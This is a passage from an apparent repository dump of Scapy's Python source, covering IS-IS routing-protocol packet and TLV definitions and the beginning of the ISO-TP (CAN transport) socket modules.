extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_SRCapabilitiesSubTLV(ISIS_GenericSubTlv):\n    name = \"ISIS SR Capabilities TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 2, _isis_subtlv_names_3),\n        FieldLenField(\n            \"len\",\n            None,\n            length_of=\"srgb_ranges\",\n            adjust=lambda pkt, x: x + 1,\n            fmt=\"B\"),\n        FlagsField(\n            \"flags\", 0, 8,\n            [\"res1\", \"res2\", \"res3\", \"res4\", \"res5\", \"res6\", \"V\", \"I\"]),\n        PacketListField(\n            \"srgb_ranges\",\n            [],\n            ISIS_SRGBDescriptorEntry,\n            length_from=lambda pkt: pkt.len - 1)\n    ]\n\n\nclass ISIS_SRAlgorithmSubTLV(ISIS_GenericSubTlv):\n    name = \"ISIS SR Algorithm sub TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 19, _isis_subtlv_names_4),\n        FieldLenField(\"len\", None, length_of=\"algorithms\", fmt=\"B\"),\n        FieldListField(\n            \"algorithms\",\n            [0],\n            ByteField(\"\", 0),\n            count_from=lambda pkt:pkt.len)\n    ]\n\n\n#######################################################################\n#   ISIS TLVs                                                         #\n#######################################################################\n_isis_tlv_classes = {\n    1: \"ISIS_AreaTlv\",\n    2: \"ISIS_IsReachabilityTlv\",\n    6: \"ISIS_IsNeighbourTlv\",\n    8: \"ISIS_PaddingTlv\",\n    9: \"ISIS_LspEntryTlv\",\n    10: \"ISIS_AuthenticationTlv\",\n    12: \"ISIS_ChecksumTlv\",\n    14: \"ISIS_BufferSizeTlv\",\n    22: \"ISIS_ExtendedIsReachabilityTlv\",\n    128: \"ISIS_InternalIpReachabilityTlv\",\n    129: \"ISIS_ProtocolsSupportedTlv\",\n    130: \"ISIS_ExternalIpReachabilityTlv\",\n    132: \"ISIS_IpInterfaceAddressTlv\",\n    135: \"ISIS_ExtendedIpReachabilityTlv\",\n    137: \"ISIS_DynamicHostnameTlv\",\n    232: \"ISIS_Ipv6InterfaceAddressTlv\",\n    236: \"ISIS_Ipv6ReachabilityTlv\",\n    240: \"ISIS_P2PAdjacencyStateTlv\",\n    242: \"ISIS_RouterCapabilityTlv\"\n}\n\n_isis_tlv_names = {\n    1: \"Area TLV\",\n    2: \"IS Reachability TLV\",\n    6: \"IS Neighbour TLV\",\n    7: \"Instance Identifier TLV\",\n    8: \"Padding TLV\",\n    9: \"LSP Entries TLV\",\n    10: \"Authentication TLV\",\n    12: \"Optional Checksum TLV\",\n    13: \"Purge Originator Identification TLV\",\n    14: \"LSP Buffer Size TLV\",\n    22: \"Extended IS-Reachability TLV\",\n    23: \"IS Neighbour Attribute TLV\",\n    24: \"IS Alias ID\",\n    128: \"IP Internal Reachability TLV\",\n    129: \"Protocols Supported TLV\",\n    130: \"IP External Reachability TLV\",\n    131: \"Inter-Domain Routing Protocol Information TLV\",\n    132: \"IP Interface Address TLV\",\n    134: \"Traffic Engineering Router ID TLV\",\n    135: \"Extended IP Reachability TLV\",\n    137: \"Dynamic Hostname TLV\",\n    138: \"GMPLS Shared Risk Link Group TLV\",\n    139: \"IPv6 Shared Risk Link Group TLV\",\n    140: \"IPv6 Traffic Engineering Router ID TLV\",\n    141: \"Inter-AS Reachability Information TLV\",\n    142: \"Group Address TLV\",\n    143: \"Multi-Topology-Aware Port Capability TLV\",\n    144: \"Multi-Topology Capability TLV\",\n    145: \"TRILL Neighbour TLV\",\n    147: \"MAC-Reachability TLV\",\n    148: \"BFD-Enabled TLV\",\n    211: \"Restart TLV\",\n    222: \"Multi-Topology Intermediate Systems TLV\",\n    223: \"Multi-Topology IS Neighbour Attributes TLV\",\n    229: \"Multi-Topology TLV\",\n    232: \"IPv6 Interface Address TLV\",\n    233: \"IPv6 Global Interface Address TLV\",\n    235: \"Multi-Topology IPv4 Reachability TLV\",\n    236: \"IPv6 Reachability TLV\",\n    237: \"Multi-Topology IPv6 Reachability TLV\",\n    240: \"Point-to-Point Three-Way Adjacency TLV\",\n    242: \"IS-IS Router Capability TLV\",\n    251: \"Generic Information TLV\"\n}\n\n\ndef _ISIS_GuessTlvClass(p, **kargs):\n    return _ISIS_GuessTlvClass_Helper(_isis_tlv_classes, \"ISIS_GenericTlv\", p, **kargs)  # noqa: E501\n\n\nclass ISIS_AreaEntry(Packet):\n    name = \"ISIS Area Entry\"\n    fields_desc = [FieldLenField(\"arealen\", None, length_of=\"areaid\", fmt=\"B\"),\n                   ISIS_AreaIdField(\"areaid\", \"49\", length_from=lambda pkt: pkt.arealen)]  # noqa: E501\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_AreaTlv(ISIS_GenericTlv):\n    name = \"ISIS Area TLV\"\n    fields_desc = [ByteEnumField(\"type\", 1, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"areas\", fmt=\"B\"),\n                   PacketListField(\"areas\", [], ISIS_AreaEntry, length_from=lambda x: x.len)]  # noqa: E501\n\n\nclass ISIS_AuthenticationTlv(ISIS_GenericTlv):\n    name = \"ISIS Authentication TLV\"\n    fields_desc = [ByteEnumField(\"type\", 10, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"password\", adjust=lambda pkt, x: x + 1, fmt=\"B\"),  # noqa: E501\n                   ByteEnumField(\"authtype\", 1, {1: \"Plain\", 17: \"HMAC-MD5\"}),\n                   BoundStrLenField(\"password\", \"\", maxlen=254, length_from=lambda pkt: pkt.len - 1)]  # noqa: E501\n\n\nclass ISIS_BufferSizeTlv(ISIS_GenericTlv):\n    name = \"ISIS Buffer Size TLV\"\n    fields_desc = [ByteEnumField(\"type\", 14, _isis_tlv_names),\n                   ByteField(\"len\", 2),\n                   ShortField(\"lspbuffersize\", 1497)]\n\n\nclass ISIS_ChecksumTlv(ISIS_GenericTlv):\n    name = \"ISIS Optional Checksum TLV\"\n    fields_desc = [ByteEnumField(\"type\", 12, _isis_tlv_names),\n                   ByteField(\"len\", 2),\n                   XShortField(\"checksum\", None)]\n\n\nclass ISIS_DynamicHostnameTlv(ISIS_GenericTlv):\n    name = \"ISIS Dynamic Hostname TLV\"\n    fields_desc = [ByteEnumField(\"type\", 137, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"hostname\", fmt=\"B\"),\n                   BoundStrLenField(\"hostname\", \"\", length_from=lambda pkt: pkt.len)]  # noqa: E501\n\n\nclass ISIS_ExtendedIpPrefix(Packet):\n    name = \"ISIS Extended IP Prefix\"\n    fields_desc = [\n        IntField(\"metric\", 1),\n        BitField(\"updown\", 0, 1),\n        BitField(\"subtlvindicator\", 0, 1),\n        BitFieldLenField(\"pfxlen\", None, 6, length_of=\"pfx\"),\n        IPPrefixField(\"pfx\", None, wordbytes=1, length_from=lambda x: x.pfxlen),  # noqa: E501\n        ConditionalField(FieldLenField(\"subtlvslen\", None, length_of=\"subtlvs\", fmt=\"B\"), lambda pkt: pkt.subtlvindicator == 1),  # noqa: E501\n        ConditionalField(PacketListField(\"subtlvs\", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1)  # noqa: E501\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_TERouterIDTlv(ISIS_GenericTlv):\n    name = \"ISIS TE Router ID TLV\"\n    fields_desc = [ByteEnumField(\"type\", 134, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"routerid\", fmt=\"B\"),\n                   IPField(\"routerid\", \"0.0.0.0\")]\n\n\nclass ISIS_ExtendedIpReachabilityTlv(ISIS_GenericTlv):\n    name = \"ISIS Extended IP Reachability TLV\"\n    fields_desc = [ByteEnumField(\"type\", 135, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"pfxs\", fmt=\"B\"),\n                   PacketListField(\"pfxs\", [], ISIS_ExtendedIpPrefix, length_from=lambda pkt: pkt.len)]  # noqa: E501\n\n\nclass ISIS_ExtendedIsNeighbourEntry(Packet):\n    name = \"ISIS Extended IS Neighbour Entry\"\n    fields_desc = [\n        ISIS_NodeIdField(\"neighbourid\", \"0102.0304.0506.07\"),\n        ThreeBytesField(\"metric\", 1),\n        FieldLenField(\"subtlvslen\", None, length_of=\"subtlvs\", fmt=\"B\"),\n        PacketListField(\"subtlvs\", [], _ISIS_GuessSubTlvClass_1, length_from=lambda x: x.subtlvslen)  # noqa: E501\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_ExtendedIsReachabilityTlv(ISIS_GenericTlv):\n    name = \"ISIS Extended IS Reachability TLV\"\n    fields_desc = [ByteEnumField(\"type\", 22, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"neighbours\", fmt=\"B\"),\n                   PacketListField(\"neighbours\", [], ISIS_ExtendedIsNeighbourEntry, length_from=lambda x: x.len)]  # noqa: E501\n\n\nclass ISIS_IpInterfaceAddressTlv(ISIS_GenericTlv):\n    name = \"ISIS IP Interface Address TLV\"\n    fields_desc = [ByteEnumField(\"type\", 132, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"addresses\", fmt=\"B\"),\n                   FieldListField(\"addresses\", [], IPField(\"\", \"0.0.0.0\"), count_from=lambda pkt: pkt.len // 4)]  # noqa: E501\n\n\nclass ISIS_Ipv6InterfaceAddressTlv(ISIS_GenericTlv):\n    name = \"ISIS IPv6 Interface Address TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 232, _isis_tlv_names),\n        FieldLenField(\"len\", None, length_of=\"addresses\", fmt=\"B\"),\n        IP6ListField(\"addresses\", [], count_from=lambda pkt: pkt.len // 16)\n    ]\n\n\nclass ISIS_Ipv6Prefix(Packet):\n    name = \"ISIS IPv6 Prefix\"\n    fields_desc = [\n        IntField(\"metric\", 1),\n        BitField(\"updown\", 0, 1),\n        BitField(\"external\", 0, 1),\n        BitField(\"subtlvindicator\", 0, 1),\n        BitField(\"reserved\", 0, 5),\n        FieldLenField(\"pfxlen\", None, length_of=\"pfx\", fmt=\"B\"),\n        IP6PrefixField(\"pfx\", None, wordbytes=1, length_from=lambda x: x.pfxlen),  # noqa: E501\n        ConditionalField(FieldLenField(\"subtlvslen\", None, length_of=\"subtlvs\", fmt=\"B\"), lambda pkt: pkt.subtlvindicator == 1),  # noqa: E501\n        ConditionalField(PacketListField(\"subtlvs\", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1)  # noqa: E501\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_Ipv6ReachabilityTlv(ISIS_GenericTlv):\n    name = \"ISIS IPv6 Reachability TLV\"\n    fields_desc = [ByteEnumField(\"type\", 236, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"pfxs\", fmt=\"B\"),\n                   PacketListField(\"pfxs\", [], ISIS_Ipv6Prefix, length_from=lambda pkt: pkt.len)]  # noqa: E501\n\n\nclass ISIS_IsNeighbourTlv(ISIS_GenericTlv):\n    name = \"ISIS IS Neighbour TLV\"\n    fields_desc = [ByteEnumField(\"type\", 6, _isis_tlv_names),\n                   FieldLenField(\"len\", None, length_of=\"neighbours\", fmt=\"B\"),\n                   FieldListField(\"neighbours\", [], MACField(\"\", \"00.00.00.00.00.00\"), count_from=lambda pkt: pkt.len // 6)]  # noqa: E501\n\n\nclass ISIS_LspEntry(Packet):\n    name = \"ISIS LSP Entry\"\n    fields_desc = [ShortField(\"lifetime\", 1200),\n                   ISIS_LspIdField(\"lspid\", \"0102.0304.0506.07-08\"),\n                   XIntField(\"seqnum\", 0x00000001),\n                   XShortField(\"checksum\", None)]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_LspEntryTlv(ISIS_GenericTlv):\n    name = \"ISIS LSP Entry TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 9, _isis_tlv_names),\n        FieldLenField(\"len\", None, length_of=\"entries\", fmt=\"B\"),\n        PacketListField(\"entries\", [], ISIS_LspEntry, count_from=lambda pkt: pkt.len // 16)  # noqa: E501\n    ]\n\n\nclass _AdjacencyStateTlvLenField(Field):\n    def i2m(self, pkt, x):\n        if pkt.neighbourextlocalcircuitid is not None:\n            return 15\n\n        if pkt.neighboursystemid is not None:\n            return 11\n\n        if pkt.extlocalcircuitid is not None:\n            return 5\n\n        return 1\n\n\nclass ISIS_P2PAdjacencyStateTlv(ISIS_GenericTlv):\n    name = \"ISIS P2P Adjacency State TLV\"\n    fields_desc = [ByteEnumField(\"type\", 240, _isis_tlv_names),\n                   _AdjacencyStateTlvLenField(\"len\", None, fmt=\"B\"),\n                   ByteEnumField(\"state\", \"Down\", {0x2: \"Down\", 0x1: \"Initialising\", 0x0: \"Up\"}),  # noqa: E501\n                   ConditionalField(IntField(\"extlocalcircuitid\", None), lambda pkt: pkt.len >= 5),  # noqa: E501\n                   ConditionalField(ISIS_SystemIdField(\"neighboursystemid\", None), lambda pkt: pkt.len >= 11),  # noqa: E501\n                   ConditionalField(IntField(\"neighbourextlocalcircuitid\", None), lambda pkt: pkt.len == 15)]  # noqa: E501\n\n\n# TODO dynamically allocate sufficient size\nclass ISIS_PaddingTlv(ISIS_GenericTlv):\n    name = \"ISIS Padding TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 8, _isis_tlv_names),\n        FieldLenField(\"len\", None, length_of=\"padding\", fmt=\"B\"),\n        BoundStrLenField(\"padding\", \"\", length_from=lambda pkt: pkt.len)\n    ]\n\n\nclass ISIS_ProtocolsSupportedTlv(ISIS_GenericTlv):\n    name = \"ISIS Protocols Supported TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 129, _isis_tlv_names),\n        FieldLenField(\"len\", None, count_of=\"nlpids\", fmt=\"B\"),\n        FieldListField(\"nlpids\", [], ByteEnumField(\"\", \"IPv4\", network_layer_protocol_ids), count_from=lambda pkt: pkt.len)  # noqa: E501\n    ]\n\n\nclass ISIS_RouterCapabilityTlv(ISIS_GenericTlv):\n    name = \"ISIS Router Capability TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 242, _isis_tlv_names),\n        FieldLenField(\n            \"len\",\n            None,\n            length_of=\"subtlvs\",\n            adjust=lambda pkt, x: x + 5,\n            fmt=\"B\"),\n        IPField(\"routerid\", \"0.0.0.0\"),\n        FlagsField(\n            \"flags\", 0, 8,\n            [\"S\", \"D\", \"res1\", \"res2\", \"res3\", \"res4\", \"res5\", \"res6\"]),\n        PacketListField(\n            \"subtlvs\",\n            [],\n            _ISIS_GuessSubTlvClass_4,\n            length_from=lambda pkt: pkt.len - 5)\n    ]\n\n\n#######################################################################\n#   ISIS Old-Style TLVs                                               #\n#######################################################################\n\nclass ISIS_IpReachabilityEntry(Packet):\n    name = \"ISIS IP Reachability\"\n    fields_desc = [ByteField(\"defmetric\", 1),\n                   ByteField(\"delmetric\", 0x80),\n                   ByteField(\"expmetric\", 0x80),\n                   ByteField(\"errmetric\", 0x80),\n                   IPField(\"ipaddress\", \"0.0.0.0\"),\n                   IPField(\"subnetmask\", \"255.255.255.255\")]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_InternalIpReachabilityTlv(ISIS_GenericTlv):\n    name = \"ISIS Internal IP Reachability TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 128, _isis_tlv_names),\n        FieldLenField(\"len\", None, length_of=\"entries\", fmt=\"B\"),\n        PacketListField(\"entries\", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12)  # noqa: E501\n    ]\n\n\nclass ISIS_ExternalIpReachabilityTlv(ISIS_GenericTlv):\n    name = \"ISIS External IP Reachability TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 130, _isis_tlv_names),\n        FieldLenField(\"len\", None, length_of=\"entries\", fmt=\"B\"),\n        PacketListField(\"entries\", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12)  # noqa: E501\n    ]\n\n\nclass ISIS_IsReachabilityEntry(Packet):\n    name = \"ISIS IS Reachability\"\n    fields_desc = [ByteField(\"defmetric\", 1),\n                   ByteField(\"delmetric\", 0x80),\n                   ByteField(\"expmetric\", 0x80),\n                   ByteField(\"errmetric\", 0x80),\n                   ISIS_NodeIdField(\"neighbourid\", \"0102.0304.0506.07\")]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ISIS_IsReachabilityTlv(ISIS_GenericTlv):\n    name = \"ISIS IS Reachability TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 2, _isis_tlv_names),\n        FieldLenField(\"len\", None, fmt=\"B\", length_of=\"neighbours\", adjust=lambda pkt, x: x + 1),  # noqa: E501\n        ByteField(\"virtual\", 0),\n        PacketListField(\"neighbours\", [], ISIS_IsReachabilityEntry, count_from=lambda x: (x.len - 1) // 11)  # noqa: E501\n    ]\n\n\n#######################################################################\n#   ISIS PDU Packets                                                  #\n#######################################################################\n_isis_pdu_names = {\n    15: \"L1 LAN Hello\",\n    16: \"L2 LAN Hello\",\n    17: \"P2P Hello\",\n    18: \"L1 LSP\",\n    20: \"L2 LSP\",\n    24: \"L1 CSNP\",\n    25: \"L2 CSNP\",\n    26: \"L1 PSNP\",\n    27: \"L2 PSNP\"\n}\n\n\nclass ISIS_CommonHdr(Packet):\n    name = \"ISIS Common Header\"\n    fields_desc = [\n        ByteEnumField(\"nlpid\", 0x83, network_layer_protocol_ids),\n        ByteField(\"hdrlen\", None),\n        ByteField(\"version\", 1),\n        ByteField(\"idlen\", 0),\n        ByteEnumField(\"pdutype\", None, _isis_pdu_names),\n        ByteField(\"pduversion\", 1),\n        ByteField(\"hdrreserved\", 0),\n        ByteField(\"maxareaaddr\", 0)\n    ]\n\n    def post_build(self, pkt, pay):\n        # calculating checksum if requested\n        pdu = pkt + pay\n        checksumInfo = self[1].checksum_info(self.hdrlen)\n\n        if checksumInfo is not None:\n            (cbegin, cpos) = checksumInfo\n            checkbytes = fletcher16_checkbytes(pdu[cbegin:], (cpos - cbegin))\n            pdu = pdu[:cpos] + checkbytes + pdu[cpos + 2:]\n\n        return pdu\n\n\nclass _ISIS_PduBase(Packet):\n    def checksum_info(self, hdrlen):\n        checksumPosition = hdrlen\n        for tlv in self.tlvs:\n            if isinstance(tlv, ISIS_ChecksumTlv):\n                checksumPosition += 2\n                return (0, checksumPosition)\n            else:\n                checksumPosition += len(tlv)\n\n        return None\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass _ISIS_PduLengthField(FieldLenField):\n    def __init__(self):\n        FieldLenField.__init__(self, \"pdulength\", None, length_of=\"tlvs\", adjust=lambda pkt, x: x + pkt.underlayer.hdrlen)  # noqa: E501\n\n\nclass _ISIS_TlvListField(PacketListField):\n    def __init__(self):\n        PacketListField.__init__(self, \"tlvs\", [], _ISIS_GuessTlvClass, length_from=lambda pkt: pkt.pdulength - pkt.underlayer.hdrlen)  # noqa: E501\n\n\nclass _ISIS_LAN_HelloBase(_ISIS_PduBase):\n    fields_desc = [\n        ISIS_CircuitTypeField(),\n        ISIS_SystemIdField(\"sourceid\", \"0102.0304.0506\"),\n        ShortField(\"holdingtime\", 30),\n        _ISIS_PduLengthField(),\n        ByteField(\"priority\", 1),\n        ISIS_NodeIdField(\"lanid\", \"0000.0000.0000.00\"),\n        _ISIS_TlvListField()\n    ]\n\n\nclass ISIS_L1_LAN_Hello(_ISIS_LAN_HelloBase):\n    name = \"ISIS L1 LAN Hello PDU\"\n\n\nclass ISIS_L2_LAN_Hello(_ISIS_LAN_HelloBase):\n    name = \"ISIS L2 LAN Hello PDU\"\n\n\nclass ISIS_P2P_Hello(_ISIS_PduBase):\n    name = \"ISIS Point-to-Point Hello PDU\"\n\n    fields_desc = [\n        ISIS_CircuitTypeField(),\n        ISIS_SystemIdField(\"sourceid\", \"0102.0304.0506\"),\n        ShortField(\"holdingtime\", 30),\n        _ISIS_PduLengthField(),\n        ByteField(\"localcircuitid\", 0),\n        _ISIS_TlvListField()\n    ]\n\n\nclass _ISIS_LSP_Base(_ISIS_PduBase):\n    fields_desc = [\n        _ISIS_PduLengthField(),\n        ShortField(\"lifetime\", 1199),\n        ISIS_LspIdField(\"lspid\", \"0102.0304.0506.00-00\"),\n        XIntField(\"seqnum\", 0x00000001),\n        XShortField(\"checksum\", None),\n        FlagsField(\"typeblock\", 0x03, 8, [\"L1\", \"L2\", \"OL\", \"ADef\", \"ADel\", \"AExp\", \"AErr\", \"P\"]),  # noqa: E501\n        _ISIS_TlvListField()\n    ]\n\n    def checksum_info(self, hdrlen):\n        if self.checksum is not None:\n            return None\n\n        return (12, 24)\n\n\ndef _lsp_answers(lsp, other, clsname):\n    # TODO\n    return 0\n\n\nclass ISIS_L1_LSP(_ISIS_LSP_Base):\n    name = \"ISIS L1 Link State PDU\"\n\n    def answers(self, other):\n        return _lsp_answers(self, other, \"ISIS_L1_PSNP\")\n\n\nclass ISIS_L2_LSP(_ISIS_LSP_Base):\n    name = \"ISIS L2 Link State PDU\"\n\n    def answers(self, other):\n        return _lsp_answers(self, other, \"ISIS_L2_PSNP\")\n\n\nclass _ISIS_CSNP_Base(_ISIS_PduBase):\n    fields_desc = [\n        _ISIS_PduLengthField(),\n        ISIS_NodeIdField(\"sourceid\", \"0102.0304.0506.00\"),\n        ISIS_LspIdField(\"startlspid\", \"0000.0000.0000.00-00\"),\n        ISIS_LspIdField(\"endlspid\", \"FFFF.FFFF.FFFF.FF-FF\"),\n        _ISIS_TlvListField()\n    ]\n\n\ndef _snp_answers(snp, other, clsname):\n    # TODO\n    return 0\n\n\nclass ISIS_L1_CSNP(_ISIS_CSNP_Base):\n    name = \"ISIS L1 Complete Sequence Number Packet\"\n\n    def answers(self, other):\n        return _snp_answers(self, other, \"ISIS_L1_LSP\")\n\n\nclass ISIS_L2_CSNP(_ISIS_CSNP_Base):\n    name = \"ISIS L2 Complete Sequence Number Packet\"\n\n    def answers(self, other):\n        return _snp_answers(self, other, \"ISIS_L2_LSP\")\n\n\nclass _ISIS_PSNP_Base(_ISIS_PduBase):\n    fields_desc = [\n        _ISIS_PduLengthField(),\n        ISIS_NodeIdField(\"sourceid\", \"0102.0304.0506.00\"),\n        _ISIS_TlvListField()\n    ]\n\n\nclass ISIS_L1_PSNP(_ISIS_PSNP_Base):\n    name = \"ISIS L1 Partial Sequence Number Packet\"\n\n    def answers(self, other):\n        return _snp_answers(self, other, \"ISIS_L1_LSP\")\n\n\nclass ISIS_L2_PSNP(_ISIS_PSNP_Base):\n    name = \"ISIS L2 Partial Sequence Number Packet\"\n\n    def answers(self, other):\n        return _snp_answers(self, other, \"ISIS_L2_LSP\")\n\n\nregister_cln_protocol(0x83, ISIS_CommonHdr)\nbind_layers(ISIS_CommonHdr, ISIS_L1_LAN_Hello, hdrlen=27, pdutype=15)\nbind_layers(ISIS_CommonHdr, ISIS_L2_LAN_Hello, hdrlen=27, pdutype=16)\nbind_layers(ISIS_CommonHdr, ISIS_P2P_Hello, hdrlen=20, pdutype=17)\nbind_layers(ISIS_CommonHdr, ISIS_L1_LSP, hdrlen=27, pdutype=18)\nbind_layers(ISIS_CommonHdr, ISIS_L2_LSP, hdrlen=27, pdutype=20)\nbind_layers(ISIS_CommonHdr, ISIS_L1_CSNP, hdrlen=33, pdutype=24)\nbind_layers(ISIS_CommonHdr, ISIS_L2_CSNP, hdrlen=33, pdutype=25)\nbind_layers(ISIS_CommonHdr, ISIS_L1_PSNP, hdrlen=17, pdutype=26)\nbind_layers(ISIS_CommonHdr, ISIS_L2_PSNP, hdrlen=17, pdutype=27)\n"
  },
  {
    "path": "scapy/contrib/isotp/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = ISO-TP (ISO 15765-2)\n# scapy.contrib.status = loads\n\nimport logging\n\nfrom scapy.consts import LINUX\nfrom scapy.config import conf\nfrom scapy.error import log_loading\n\nfrom scapy.contrib.isotp.isotp_packet import ISOTP, ISOTPHeader, \\\n    ISOTPHeaderEA, ISOTP_SF, ISOTP_FF, ISOTP_CF, ISOTP_FC, \\\n    ISOTP_FF_FD, ISOTP_SF_FD, ISOTPHeaderEA_FD, ISOTPHeader_FD\nfrom scapy.contrib.isotp.isotp_utils import ISOTPSession, \\\n    ISOTPMessageBuilder\nfrom scapy.contrib.isotp.isotp_soft_socket import ISOTPSoftSocket\nfrom scapy.contrib.isotp.isotp_scanner import isotp_scan\n\n__all__ = [\"ISOTP\", \"ISOTPHeader\", \"ISOTPHeaderEA\", \"ISOTP_SF\", \"ISOTP_FF\",\n           \"ISOTP_CF\", \"ISOTP_FC\", \"ISOTP_FF_FD\", \"ISOTP_SF_FD\",\n           \"ISOTPSoftSocket\", \"ISOTPSession\", \"ISOTPHeader_FD\",\n           \"ISOTPHeaderEA_FD\",\n           \"ISOTPSocket\", \"ISOTPMessageBuilder\", \"isotp_scan\",\n           \"USE_CAN_ISOTP_KERNEL_MODULE\", \"log_isotp\"]\n\nUSE_CAN_ISOTP_KERNEL_MODULE = False\n\nlog_isotp = logging.getLogger(\"scapy.contrib.isotp\")\nlog_isotp.setLevel(logging.INFO)\n\nif LINUX:\n    try:\n        if conf.contribs['ISOTP']['use-can-isotp-kernel-module']:\n            USE_CAN_ISOTP_KERNEL_MODULE = True\n    except KeyError:\n        log_loading.info(\n            \"Specify 'conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}' \"  # noqa: E501\n            \"to enable usage of can-isotp kernel module.\")\n\n    from scapy.contrib.isotp.isotp_native_socket import ISOTPNativeSocket\n    __all__.append(\"ISOTPNativeSocket\")\n\nif USE_CAN_ISOTP_KERNEL_MODULE:\n    ISOTPSocket = ISOTPNativeSocket\nelse:\n    ISOTPSocket = ISOTPSoftSocket\n"
  },
  {
    "path": "scapy/contrib/isotp/isotp_native_socket.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = ISO-TP (ISO 15765-2) Native Socket Library\n# scapy.contrib.status = library\n\nimport ctypes\nimport socket\nimport struct\nfrom ctypes.util import find_library\n# Typing imports\nfrom typing import (\n    Any,\n    Optional,\n    Union,\n    Tuple,\n    Type,\n    cast,\n)\n\nfrom scapy.arch.linux import get_last_packet_timestamp, SIOCGIFINDEX\nfrom scapy.config import conf\nfrom scapy.contrib.isotp import log_isotp\nfrom scapy.contrib.isotp.isotp_packet import ISOTP\nfrom scapy.data import SO_TIMESTAMPNS\nfrom scapy.error import Scapy_Exception\nfrom scapy.layers.can import CAN_MTU, CAN_FD_MTU, CAN_MAX_DLEN, CAN_FD_MAX_DLEN\nfrom scapy.packet import Packet\nfrom scapy.supersocket import SuperSocket\n\nLIBC = ctypes.cdll.LoadLibrary(find_library(\"c\"))  # type: ignore\n\nCAN_ISOTP = 6  # ISO 15765-2 Transport Protocol\n\nSOL_CAN_BASE = 100  # from can.h\nSOL_CAN_ISOTP = SOL_CAN_BASE + CAN_ISOTP\n# /* for socket options affecting the socket (not the global system) */\nCAN_ISOTP_OPTS = 1  # /* pass struct can_isotp_options */\nCAN_ISOTP_RECV_FC = 2  # /* pass struct can_isotp_fc_options */\n\n# /* sockopts to force stmin timer values for protocol regression tests */\nCAN_ISOTP_TX_STMIN = 3  # /* pass __u32 value in nano secs    */\nCAN_ISOTP_RX_STMIN = 4  # /* pass __u32 value in nano secs   */\nCAN_ISOTP_LL_OPTS = 5  # /* pass struct can_isotp_ll_options */\n\nCAN_ISOTP_LISTEN_MODE = 0x001  # /* listen only (do not send FC) */\nCAN_ISOTP_EXTEND_ADDR = 0x002  # /* enable extended addressing */\nCAN_ISOTP_TX_PADDING = 0x004  # /* enable CAN frame padding tx path */\nCAN_ISOTP_RX_PADDING = 0x008  # /* enable CAN frame padding rx path */\nCAN_ISOTP_CHK_PAD_LEN = 0x010  # /* check received CAN frame padding */\nCAN_ISOTP_CHK_PAD_DATA = 0x020  # /* check received CAN frame padding */\nCAN_ISOTP_HALF_DUPLEX = 0x040  # /* half duplex error state handling */\nCAN_ISOTP_FORCE_TXSTMIN = 0x080  # /* ignore stmin from received FC */\nCAN_ISOTP_FORCE_RXSTMIN = 0x100  # /* ignore CFs depending on rx stmin */\nCAN_ISOTP_RX_EXT_ADDR = 0x200  # /* different rx extended addressing */\n\n# /* default values */\nCAN_ISOTP_DEFAULT_FLAGS = 0\nCAN_ISOTP_DEFAULT_EXT_ADDRESS = 0x00\nCAN_ISOTP_DEFAULT_PAD_CONTENT = 0xCC  # /* prevent bit-stuffing */\nCAN_ISOTP_DEFAULT_FRAME_TXTIME = 0\nCAN_ISOTP_DEFAULT_RECV_BS = 0\nCAN_ISOTP_DEFAULT_RECV_STMIN = 0x00\nCAN_ISOTP_DEFAULT_RECV_WFTMAX = 0\nCAN_ISOTP_DEFAULT_LL_MTU = CAN_MTU\nCAN_ISOTP_CANFD_MTU = CAN_FD_MTU\nCAN_ISOTP_DEFAULT_LL_TX_DL = CAN_MAX_DLEN\nCAN_FD_ISOTP_DEFAULT_LL_TX_DL = CAN_FD_MAX_DLEN\nCAN_ISOTP_DEFAULT_LL_TX_FLAGS = 0\n\nCANFD_BRS = 1  # /* CAN FD Bit Rate Switch */\nCANFD_ESI = 2  # /* CAN FD Error State Indicator */\nCANFD_FDF = 4  # /* CAN FD FD Flag */\n\n\nclass tp(ctypes.Structure):\n    # This struct is only used within the sockaddr_can struct\n    _fields_ = [(\"rx_id\", ctypes.c_uint32),\n                (\"tx_id\", ctypes.c_uint32)]\n\n\nclass addr_info(ctypes.Union):\n    # This struct is only used within the sockaddr_can 